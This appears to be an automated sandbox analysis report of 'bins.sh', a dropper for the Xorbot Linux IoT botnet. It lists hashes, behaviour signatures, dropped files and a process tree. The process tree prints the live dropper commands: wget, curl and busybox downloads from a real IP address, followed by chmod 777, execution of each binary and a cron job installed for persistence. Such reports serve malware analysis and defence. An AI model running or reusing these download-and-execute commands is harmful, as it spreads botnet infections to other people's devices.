Analysis

  • max time kernel
    149s
  • max time network
    131s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    03/12/2024, 16:21

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f6bd33e2fdcb1e0896028c8af8d15c0b

  • SHA1

    19ac7736e1325c6b2f90a67e915cbf04b778d6d3

  • SHA256

    fb49bd7f52a014b5e07587fb826822f3884b9ecc8a40380dcd2c0f58284f4de4

  • SHA512

    2548568c238900b5445d454b38ca9c33d7d55f0888615a5057058aacd5980ca49d60d2084da5f43764db0b92a08fa1e5411fcfd18c628a0c1212ebcb5781b032

  • SSDEEP

    192:ntdYqZnD6Jb48QutTRtcHZ8QutTRtitdYa:8qZnD6Jima

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1486
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1489
        • /usr/bin/wget
          wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:1494
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Writes file to tmp directory
          PID:1495
        • /bin/chmod
          chmod 777 Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • File and Directory Permissions Modification
          PID:1503
        • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          ./Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
          • Executes dropped EXE
          PID:1504
        • /bin/rm
          rm Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU
          2⤵
            PID:1506
          • /usr/bin/wget
            wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Writes file to tmp directory
            PID:1507
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Writes file to tmp directory
            PID:1509
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /bin/chmod
            chmod 777 bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • File and Directory Permissions Modification
            PID:1511
          • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            ./bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
            • Executes dropped EXE
            PID:1512
          • /bin/rm
            rm bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx
            2⤵
              PID:1514
            • /usr/bin/wget
              wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Writes file to tmp directory
              PID:1515
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Writes file to tmp directory
              PID:1516
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Writes file to tmp directory
              PID:1517
            • /bin/chmod
              chmod 777 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • File and Directory Permissions Modification
              PID:1518
            • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              ./3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
              • Executes dropped EXE
              PID:1519
            • /bin/rm
              rm 3ovF4DfNNNzK9QYestWR6uIzanN52wTtop
              2⤵
                PID:1521
              • /usr/bin/wget
                wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Writes file to tmp directory
                PID:1522
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Writes file to tmp directory
                PID:1523
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /bin/chmod
                chmod 777 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • File and Directory Permissions Modification
                PID:1525
              • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                ./7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                • Executes dropped EXE
                PID:1526
              • /bin/rm
                rm 7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww
                2⤵
                  PID:1528
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Writes file to tmp directory
                  PID:1529
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Writes file to tmp directory
                  PID:1530
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /bin/chmod
                  chmod 777 pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1532
                • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  ./pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                  • Executes dropped EXE
                  PID:1533
                • /bin/rm
                  rm pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs
                  2⤵
                    PID:1535
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    2⤵
                    • Writes file to tmp directory
                    PID:1536
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    2⤵
                    • Writes file to tmp directory
                    PID:1537
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /bin/chmod
                    chmod 777 NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1539
                  • /tmp/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    ./NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    2⤵
                    • Executes dropped EXE
                    PID:1540
                  • /bin/rm
                    rm NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO
                    2⤵
                      PID:1542
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      2⤵
                      • Writes file to tmp directory
                      PID:1543
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      2⤵
                      • Writes file to tmp directory
                      PID:1544
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      2⤵
                      • Writes file to tmp directory
                      PID:1545
                    • /bin/chmod
                      chmod 777 AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1546
                    • /tmp/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      ./AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      2⤵
                      • Executes dropped EXE
                      PID:1547
                    • /bin/rm
                      rm AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q
                      2⤵
                        PID:1549
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                        2⤵
                        • Writes file to tmp directory
                        PID:1550
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                        2⤵
                        • Writes file to tmp directory
                        PID:1551
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                        2⤵
                        • Writes file to tmp directory
                        PID:1552
                      • /bin/chmod
                        chmod 777 ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1553
                      • /tmp/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                        ./ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:1554
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:1556
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:1557
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:1558
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:1559
                            • /bin/rm
                              rm ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1
                              2⤵
                                PID:1561
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/LOoOZ3Af2S6EngCzpmJriKHCKpxh9Jom0L
                                2⤵
                                  PID:1564

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/3ovF4DfNNNzK9QYestWR6uIzanN52wTtop

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /tmp/7pYqvBqXG2FNRF7VmY9NF5G5quOTC1h1Ww

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/AdO1iuM6FDVj6iuLMdJiI4MxTUKRCHRd6Q

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /tmp/Nau7TQiGuF47bJ10qfnJTBFbtdyHBnqeOU

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/NmwBIFvxfjd7pHnDKxjkkqYctxHWhhk8LO

                                Filesize

                                111KB

                                MD5

                                701e7a55a4f3650f5feee92a9860e5fc

                                SHA1

                                6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                SHA256

                                ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                SHA512

                                7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                              • /tmp/bqRiq7jpDewORxIukfT7liDyTO0XmkbDZx

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/ioR1NySPZEW96VjyTtgWfPGFHl6xutquP1

                                Filesize

                                112KB

                                MD5

                                05d7857dcead18bbd86d2935f591873c

                                SHA1

                                34d18f41ef35f93d5364ce3e24d74730a4e91985

                                SHA256

                                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                SHA512

                                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                              • /tmp/pT0abjl2KImWcJxKzyZ60ljZpTKp7TdpKs

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /var/spool/cron/crontabs/tmp.anYrQJ

                                Filesize

                                210B

                                MD5

                                777281b2bd0a4fe18b8fc5212993efc1

                                SHA1

                                6b68980e1891cd5b31855155feef6c5b58ae51bb

                                SHA256

                                2d288f84b0f66d8f3cb10b1ff89f0c38eb6c905622fe1fc796feb837630e453b

                                SHA512

                                f877639221870da5acc969397cf7d7464341f10828e1efd1f60c0289ae04e1e8dc12e0408ba19246bf03691b7358134d9aad7c5b5815afc2968cfe26adbfd8f4